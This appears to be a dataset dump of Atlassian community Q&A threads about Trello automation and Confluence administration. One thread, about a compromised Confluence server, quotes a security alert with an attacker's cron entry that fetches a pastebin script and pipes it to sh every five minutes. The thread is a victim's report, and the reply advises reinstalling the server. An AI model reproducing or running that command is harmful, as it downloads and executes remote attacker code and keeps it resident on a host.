youngmon/atlassian-qna huggingface dataset:
Notifications based on checklist assignments / due dates?
Asked by Khurram Aziz:

I'm trying to build out a workflow using checklist item assignments and it looks like the person who is assigned a checklist item doesn't get a notification and the only notification they get is on their trello home page (in the Your Items section).

Am I wrong in assuming that there is no way to turn on notifications or even butler automations based on people who have been assigned checklist items?


Answers:
author: milynnus
body: [@Khurram Aziz](/t5/user/viewprofilepage/user-id/4231675)

You are right in your observation. I remember creating a workaround. We can discuss offline in more detail what you like to achieve.

comments: author: Khurram Aziz
body: How should I contact you? It does not look like it allows me to send in a direct message on this forum.


author: milynnus
body: [@Khurram Aziz](/t5/user/viewprofilepage/user-id/4231675)

see my profile page.


author: ryan harrison
body: I'd love to know how to do this as well. I was just searching for a solution to this.


author: milynnus
body: [@ryan harrison](/t5/user/viewprofilepage/user-id/4229881)

I shared this with [@Khurram Aziz](/t5/user/viewprofilepage/user-id/4231675)

<https://youtu.be/PS98D_qOFAw>


author: Yeshodhara Baskaran
body: Can you also share the exact automation via the rules? The video does not show that.


author: milynnus
body: [@Yeshodhara Baskaran](/t5/user/viewprofilepage/user-id/4971998)

I would have deleted them especially it is on advanced checklist since I was probably using a trial workspace.
Adding others to become Admin
Asked by Vinuta:

1. So, Trello isn't giving me the option to make someone an admin for a board. How do I do this?


Answers:
author: Soumyadeep Mandal - SaM
body: Hi [@Vinuta](/t5/user/viewprofilepage/user-id/4231282) ,

Welcome to the community!

If you are an admin of a board you can give someone else permission to be an admin of the same board.

Please read and follow this article/documentation

<https://help.trello.com/article/791-changing-permissions-on-a-board>

Regards,

***Soumyadeep***
Trello Butler report pattern for tickets completed by user
Asked by Marc Ientilucci:

Hello,

I am struggling to create a report the way i'd like using Trello's patterns in butler.

I have two Lists in my board. To Do and Done. I assign a member to a To Do card. When they finish with the task, i move it to Done.

I'd like to create a report that shows how many tickets a member has completed in the Done column using butler. It would look something like this where 'Member Name' will be the actual members name.

BONUS: it would also be great to be able to get the data from the last 30 days if thats possible at all.

Member Name 1 (8 cards)

* card 1 name
* card 2 name
* ...
* card 8 name

Member Name 2 (3 cards)

* card 1 name
* card 2 name
* card 3 name

Member Name 3 ...

Can anyone please assist with this?


Answers:
author: milynnus
body: [@Marc Ientilucci](/t5/user/viewprofilepage/user-id/4085408)

Probably not with just Butler report using its pattern since it collects cards and allow you to form the report line using pattern. You cannot group them by Member. I remember there only a variable for a the first member but a card can have more than 1 member or none.   
you have the count by member, Butler cannot help you do that.   

comments: author: Marc Ientilucci
body: what about with custom fields?

i can create a rule for a custom assignee dropdown that adds a member to a card.

would i then be able to sort User's in the report by my custom Assignee dropdown like shown in my original example?


author: Marc Ientilucci
body: i have it set up in a test board and its almost the way i want it, minus a couple variables which i am going to play with.

```
create a report in variable "User_1" with all cards in list "Done" with custom field "Assignee" set to "User 1" using pattern "- [{cardname}]({cardlink}) {{Assignee}} => DONE on {{%Completion Date}}", create a report in variable "User_2" with all cards in list "Done" with custom field "Assignee" set to "User2" using pattern "- [{cardname}]({cardlink}) {{Assignee}} => DONE on {{%Completion Date}}", and send an email notification to "marc@sdhcap.com" with subject "test report trello" and message "User 1:\n\n{$User_1}\n\nUser 2:\n\n{$User_2}"
```

i know some of the cards below have some of the same card names, but they are different cards. i just used the same name while testing. this can be identified by the completion date.

![Screen Shot 2021-01-20 at 2.54.05 PM.png](https://community.atlassian.com/t5/image/serverpage/image-id/126548i3B1D0D768DA9B4AF/image-dimensions/372x251?v=v2 "Screen Shot 2021-01-20 at 2.54.05 PM.png")


author: milynnus
body: [@Marc Ientilucci](/t5/user/viewprofilepage/user-id/4085408)

if this what you want, sureyou can do that. If I am not mistaken, members on a card are stored as a string of strings (iD). ?

As to sorting, you probably use different select criteria. So it is more like categories representing different set of cards.
Wie bekomme ich meine Initialen in mein Profil?
Asked by annette.vonfoullon:

Hallo,

vorher hatte ich bei TRELLO AF als meine Initialen in meinem Profil; nun erscheint nur noch ein A. Wie kann ich das ?ndern? Ich finde lediglich die Option ein Bild zu hinterlegen.

Danke im Voraus.

Viele Gr??e  
Annette


Answers:
author: Soumyadeep Mandal - SaM
body: Hi [@annette.vonfoullon](/t5/user/viewprofilepage/user-id/4231227) ,

Welcome to the community!

The initials are generated automatically and it can't be customized or changed. You can only add a profile image.

Regards,

***Soumyadeep***
Counting who moved the card and what type of card it was
Asked by Paulius:

Hello,  

we are using Trello for our small, handmade manufacturing.   

We have a board with **do-to** list, **prepping** list, **making** list, **shipping** list and **done** list. i would like to track the work done by the user.  

We need to know and count couple of things. I hope you will be able to suggest me something. So the things I need to track:  
1. who moved the card in every step (from **do-to** list to **prepping** list, from **prepping** list to **making** list, etc.)  
2. what type of card it was? The card can have a couple of dimensions, which are set. Howeever every card is unique. It has an order id, ect.

We would like to get a report or know stats every week or so.   

Looking forward to hear your suggestions.   

Kind regards,  
Paul


Answers:
author: Soumyadeep Mandal - SaM
body: Hi [@Paulius](/t5/user/viewprofilepage/user-id/4231091) ,

Welcome to the community!

Please have a look at these resources

<https://trello.com/power-ups/5d367a59d5db032812ddbf22/time-tracking-reporting>

<https://blog.trello.com/project-management-power-ups>

<https://blog.trello.com/task-management-software>

<https://community.atlassian.com/t5/Trello-questions/Counting-Trello-cards/qaq-p/694466>

<https://community.atlassian.com/t5/Trello-questions/Reporting-card-count-by-list/qaq-p/1371193>

Regards,

***Soumyadeep***
Synchronisation avec mon compte google agenda
Asked by Guillaume H:

Bonjour,

J'ai synchronis? mon compte Trello avec mon agenda. Ca marche pour les dates en place au moment par contre, les dates que je rajoute apr?s (dans Trello) ne figurent pas dans mon agenda.

Est-ce qu'il y a un temps de synchronisation a prendre en compte ou est ce que je peux configurer quelque chose pour que ca synchronise direct ? Merci !


Answers:
author: Manon Soubies-Camy
body: Bonjour [@Guillaume H](/t5/user/viewprofilepage/user-id/4231032) et bienvenue sur Community !

Si vous utilisez le power-up Calendar, c'est effectivement ? cause du temps de synchronisation Trello \<\> Google Agenda :
> Les modifications apport?es dans Trello ne seront pas mises ? jour instantan?ment vers des applications tierces telles que Google Agenda. Nous estimons que Google Agenda met ? jour ses flux externes environ une fois par jour.
>
> Il existe des alternatives plus rapides disponibles par des tiers, tels que les Power-Ups [Cronofy](https://info.trello.com/power-ups/cronofy) ou [Planyway](https://info.trello.com/power-ups/planyway-calendar).

(Source : [Utilisez Trello avec Google Agenda](https://help.trello.com/article/829-using-trello-with-google-calendar))

Bonne fin de journ?e,

- Manon

comments: author: Guillaume H
body: Merci pour votre retour.
Cannot configure the setup up of confluence
Asked by Oumaima Laasri:

Hello Everybody,

My confluence redirect me after the start to the configuration sertup :

![1.PNG](/t5/image/serverpage/image-id/202337iD68D12C3045F0806/image-size/large?v=v2&px=999 "1.PNG")

when I click on Production, I stay blocked on this screen

![2.PNG](/t5/image/serverpage/image-id/202338i6C1A92C36063E338/image-size/large?v=v2&px=999 "2.PNG")

And on the log file :atlassian-confluence.log I have this:

![3.PNG](/t5/image/serverpage/image-id/202339i2C88A9AF5C39405A/image-size/large?v=v2&px=999 "3.PNG")

Anyone can help me please !!!


Answers:
author: Alex Koxaras _Relational_
body: Hi [@Oumaima Laasri](/t5/user/viewprofilepage/user-id/4903498)

I installed a trial version of Confluence DC a few days back on my windows laptop, and I got the same screen. However, instead of refreshing the screen, I let it finish what it started. In a while the installation was finished and a new page appeared.

Did you try to wait a bit?

comments: author: Oumaima Laasri
body: Hello Alex, I tried to wait a little bit, In this case I will let the window opened for an hour then see what It will return. I'll give you I feedback, thank you for your quick reply.


author: Alex Koxaras _Relational_
body: Yeeahh...no... I didn't mean for an hour. My installation finished in 5-10mins tops. Perhaps it's best if you open a ticket to Atlassian directly: support.atlassian.com/contact


Tags: confluence-server

install

server
Scroll Viewport app won't display in App dropdown
Asked by Craig Melcher:

We have Scroll Viewport installed as a Confluence app and have used it heavily, but now it's not displaying in the App dropdown even though Confluence says it's added. Any ideas why? Thanks


Answers:
author: Laura Parraga -K15t-
body: Hi Craig! Laura from the Scroll Viewport team here ?. It sounds like Scroll Viewport used to display in the app dropdown but not anymore, is that right? Have you or has a Confluence admin changed any user permissions lately?

By default, the app will only display for Confluence admins. A Confluence administrator can extend these default permission by adding individuals to a new group: *scroll-viewport-admins* . More information on: [Permission to use the app](https://help-cloud.k15t.com/scroll-viewport/permission-to-use-the-app)

If creating this group and adding you to it doesn't solve the issue for you, please don't hesitate to reach out via help@k15t.com and we can look into it further.

Cheers,

Laura


Tags: app

cloud

confluence-cloud
How can I link Jira tickets in the Confluence Roadmap planner template?
Asked by Shafaq Malik:

Hi, I have inserted a template for the roadmap in confluence.

But I can't attach a Jira ticket to it, it only gives the option to attach/create a confluence page to the bars.

Any idea how to do it? I am using first template 'Roadmap Planner' (screenshot atathced)

![roadmap image.png](/t5/image/serverpage/image-id/202318iBD44D709DECB0C0D/image-size/large?v=v2&px=999 "roadmap image.png")


Answers:
author: Takafumi Ohtake -Ricksoft-
body: Hi [@Shafaq Malik](/t5/user/viewprofilepage/user-id/4494218)

Using Jira roadmap or Advanced Roadmaps is an option as Connor said.

Using [Gantt Chart Planner for Confluence](https://marketplace.atlassian.com/apps/1227063/gantt-chart-planner-roadmap-timeline-for-confluence?hosting=cloud&tab=overview&utm_medium=atlassian-community&utm_source=questions&utm_campaign=20220622) is another option to resolve this problem.  
Each task can have an arbitrary web link so it can be a link to a Jira issue.  

I summarized the pros and cons of ways to draw roadmaps in Confluence in [this article](https://community.atlassian.com/t5/Marketplace-Apps-Integrations/Plan-Projects-and-Roadmaps-with-Gantt-Charts-in-Confluence-Cloud/ba-p/1929687).  
I hope it's useful for you.

Regards,  
Takafumi

(Disclaimer: I'm one of the folks in the vendor.)


author: Connor
body: I don't find the **Roadmap Planner** macro to be very useful when my company also uses Jira and can create a roadmap in Jira. If you want to use that macro, you could paste the URL of Jira issues into the description of each roadmap item, though that's not an elegant solution.

The better choice would be the **Jira roadmap** or **Advanced Roadmaps for Jira** macros. Those will allow you to embed a basic or advanced roadmap from Jira into Confluence.


Tags: cloud

confluence-cloud
Can we add links to words for redirect on other pages in same document ?
Asked by Anuj Purohit:

While working on a software document, I sometimes need redirections form the words to other pages which I already made.  

Exp:-  

User can add persons form ++*here
<br />*++By clicking here the user can redirect to the page where I have share detailed description about the process.


Answers:
author: Patryk Potaczek
body: Hello,

yes, you can. From what I know, you can only make a hyperlink to a section in the same document.

You must highlight the word or sentence you wish to link and use the Ctrl+K function. There you can paste a link from a heading in your document.

While not in edit mode, sections have the link icon when hovering over (like in the picture below).

![Zrzut ekranu 2022-06-17 081012.png](https://community.atlassian.com/t5/image/serverpage/image-id/202297i0013A9E987DC244A/image-size/large?v=v2&px=999 "Zrzut ekranu 2022-06-17 081012.png")

Hope that helped :)

comments: author: Anuj Purohit
body: I got that [@Patryk Potaczek](/t5/user/viewprofilepage/user-id/4557541) but the actual issue is I can link the page but now the matter of matter of page.  

If I have a page having numbers 1 to 10  
and other page having numbers 11 to 20

now I want to link number 17 with number 7, if I will click on number 17 then it will take to 7 specifically not on the page where all numbers are present.  

thanks


Tags: cloud

confluence-cloud
Malicious script after upgrading 7.14.3
Asked by yangkangwei:

Problem?Malicious script after upgrading 7.14.3.

Environment: deploy using docker.

ECS abnormal alarm?

Malicious script path: /var/spool/cron/conference1.

Malicious script tag: remote load command, malicious scheduled task persistence, remote load command, kill competitor process.

File creation time: 2021-09-05 12:40:46

Event description: the detection model finds that there is a malicious script file on your server, which is most likely implanted by an attacker after successfully invading the server. It is recommended that you check the legitimacy of the file content according to the label of the malicious script and handle it.

Type: crontabitem  
Path: /var/spool/cron/conference1  
Content: \*/5 \* \* \* \* curl -fssl <https://pastebin.com/raw/rH3ZHAvC> \| sh  
Event description: the cloud security center has detected that there is an abnormal self startup item on your host, which is most likely implanted by malware or hackers to keep the malicious program resident. If these self starting items are not handled, the malicious program is likely to be implanted again. Therefore, it is recommended that you use "virus defense" to comprehensively scan and clean the host, or handle it manually according to the details in the alarm.


Answers:
author: Daniel Ebers
body: Hi [@yangkangwei](/t5/user/viewprofilepage/user-id/4968363)

from what you stated it looks like your server has been compromised. Please note that a cleaning might not be sufficient and the attacker could have left some backdoor allowing him to come back.

From my point of few a reinstallation of the virtual machine would be the safest way to ensure a clean system. Then you would need to inspect carefully backups and restore your instance from a backup.

Regards,  
Daniel


author: yangkangwei
body: Do you have a brother to help us see how to solve this problem? Thank you


Tags: confluence-server

server
How do a I add a color label to a table in Confluence?
Asked by Rita Arellano:

Hi All,

Need some help. I created a label, but I see this label shows which page it is in. I wish to show what page it is in and the description when I click on the label. I have a table and this label can be found in multiple rows. Can someone help on how to do this? I would also like to have my label colored.


Answers:
author: Katerina Kovriga {Stiltsoft}
body: Hi [@Rita Arellano](/t5/user/viewprofilepage/user-id/4789117) ,

Please clarify which labels you mean: page labels or just a table with statuses that you need to filter and color based on some conditions?

With the latter one our [Table Filter and Charts for Confluence](https://marketplace.atlassian.com/apps/27447/table-filter-and-charts-for-confluence?tab=overview&hosting=cloud&utm_source=atl_community&utm_medium=answer&utm_campaign=table-filter-traffic-sources&utm_vendorID=1216111) app may help. Its [Table Filter](https://docs.stiltsoft.com/display/public/TFAC/How+to+use+Table+Toolbox+macro?utm_source=atl_community&utm_medium=answer&utm_campaign=table-filter-traffic-sources&utm_vendorID=1216111) macro will do the filtration and [here are several examples](https://docs.stiltsoft.com/display/public/TFAC/Custom+Transformation+-+use+cases+with+advanced+SQL+queries#CustomTransformationusecaseswithadvancedSQLqueries-UsingIf/Thenconstruct?utm_source=atl_community&utm_medium=answer&utm_campaign=table-filter-traffic-sources&utm_vendorID=1216111) regarding conditional formatting in Confluence.

The first option is not fully clear for me though.

comments: author: Rita Arellano
body: Hi, thanks for helping out. Is the table filter and charts from Confluence an app that is only available through purchase?

I am trying to add color labels to the table and filter based on those labels. I don't want page labels. I need to filter on the labels that are on the rows of the table.


author: Katerina Kovriga {Stiltsoft}
body: Our app is a paid one (though it is free for small Confluence Cloud instances 1-10 users).

You may also try to search for other apps on the Marketplace, because there is no any out-of-the-box option to filter tables at the moment.


Tags: cloud

confluence-cloud
Differentiate Restore space / Restore site
Asked by Donatien CARLOZ:

Hello,

Is it possible to have 2 menus to restore site and spaces, or at least 2 sectiosn in the backup / restore menu ?

A confluence administrator of my company didn't check the zip file send by another confluence team (which saved site instead of space).

These 2 human errors leads to delete our confluence site... and we had to restore a database backup after this mistake :-(

After that, we reinforced validation procedures to restore spaces, but it would be great if confluence could secure this very sensitive restore site operation.

Regards,

DC


Answers:
author: Donatien CARLOZ
body: Hello,

Moreover, i tried to backup/restore site with version 7.13.7.

In the UI, we select zipfile, then clic on "Upload and Import", hop the process is beginning.

There is no warning that you're going to delete your actual confluence site.

A least a warning and a checkbox should be mandatory when you try to restore a site backup.

Regards,

Donatien


Tags: confluence-server

server
Does confluence 7.9.0 supports Oracle 19C
Asked by Aleksey Vishnevskiy:

Organization is upgrading from Oracle 12C to Oracle 19c , does Confluence 7.9.0 run on Oracle 19C


Answers:
author: Robert Wen_ReleaseTEAM_
body: Hello [@Aleksey Vishnevskiy](/t5/user/viewprofilepage/user-id/4968816) ! Welcome to the Atlassian Community!

As stated in the system requirements, yes, Confluence 7.9 runs on Oracle 19c

<https://confluence.atlassian.com/conf79/supported-platforms-1027129937.html>

Hope this helps


author: Brant Schroeder
body: [@Aleksey Vishnevskiy](/t5/user/viewprofilepage/user-id/4968816) Welcome to the Atlassian community

Yes it is supported. <https://confluence.atlassian.com/conf79/supported-platforms-1027129937.html>


Tags: confluence-server

server
How to have a text and macros on the same line in Confluence?
Asked by Ricky Rich:

Hi,

I am getting mad in trying to get the output of a macro on the same line as a basic text input.

I want to have this sentence "Closure date is....and status is...."

Dashes are replaced with for the first one, a report on macro that picks a date and the latter with a List Data macro where to select a status from a drop down list (in Edit Content mode).

When I built the sentence the List Data macro will appear on the next line thus the result will be:

Closure date is 12-06-2022 and status is

On track

How can I have the status output on the same line?

Is there something to be done with any wiki-markup and if yes how?

Many thanks in advance

Rick


Answers:
author: Ricky Rich
body: Hi Dominic,

Thanks for your advice. Indeed I am using a List Data macro to generate the drop down list.

I will ask support to Rocket Service then. In the meantime I found a workaround ans decided to show data in column i:o a sentence.

Cheers

Rick


author: Dominic Lagger
body: Hi [@Ricky Rich](/t5/user/viewprofilepage/user-id/4843620)

I'm not sure that you can achieve this...

There are only a little few macros, which you can use inline.

I'm assuming, that you use the scaffolding forms app, which will give you the ability to use the list data macro.

Perhaps, you can write to the support of scaffolding, and these guys have a better idea.

Regards, Dominic


Tags: confluence-server

inline

macro

markup

server
Suppress Icons in Related Labels Macro
Asked by Christopher Davis:

Hi All,

New user here. We are reorganizing our KB and using labels to pull content from a repository. I would like to suppress the icons when using the Related Labels macro. Does anyone have any tips? Or recommendations of a better way to approach it?

Thanks,  
Chris

![RelatedLabels.PNG](/t5/image/serverpage/image-id/202207iB3C28FFE7D50D54B/image-size/large?v=v2&px=999 "RelatedLabels.PNG")


Answers:
author: Brant Schroeder
body: [@Christopher Davis](/t5/user/viewprofilepage/user-id/4935932) Welcome to the Atlassian community

If you are the Confluence Admin you could technically use custom CSS to hide it. It would hide it for all icons in the Confluence instance that use the same CSS which might be a lot of different possible marcos. If you are interested I think the following CSS would work.

ul.content-by-label span.icon {display:none;}

comments: author: Brant Schroeder
body: [@Christopher Davis](/t5/user/viewprofilepage/user-id/4935932) if this answered your question can you please accept the answer to help others?


Tags: confluence-server

server